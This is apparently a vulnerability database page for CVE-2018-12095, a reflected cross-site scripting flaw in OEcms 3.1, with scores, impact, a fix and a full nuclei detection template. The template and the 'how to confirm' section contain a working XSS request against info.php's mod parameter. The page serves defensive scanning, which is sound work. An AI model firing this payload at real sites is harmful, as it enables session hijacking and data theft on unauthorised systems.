HexBrain

Browse / CVEs / CVE-2018-12095

CVE-2018-12095· oecms project / oecms· CWE-79

OEcms 3.1 - Cross-Site Scripting

mediumseverity
5.4CVSS score
5.4%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

OEcms 3.1 is vulnerable to reflected cross-site scripting via the mod parameter of info.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest patch or upgrade to a newer version of OEcms to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-12095 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-12095

info:
  name: OEcms 3.1 - Cross-Site Scripting
  author: LogicalHunter
  severity: medium
  description: OEcms 3.1 is vulnerable to reflected cross-site scripting via the mod parameter of info.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of OEcms to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44895
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095
    - https://cxsecurity.com/issue/WLB-2018060092
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12095
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2018-12095
    cwe-id: CWE-79
    epss-score: 0.05411
    epss-percentile: 0.92758
    cpe: cpe:2.3:a:oecms_project:oecms:3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oecms_project
    product: oecms
  tags: cve2018,cve,xss,edb,oecms_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from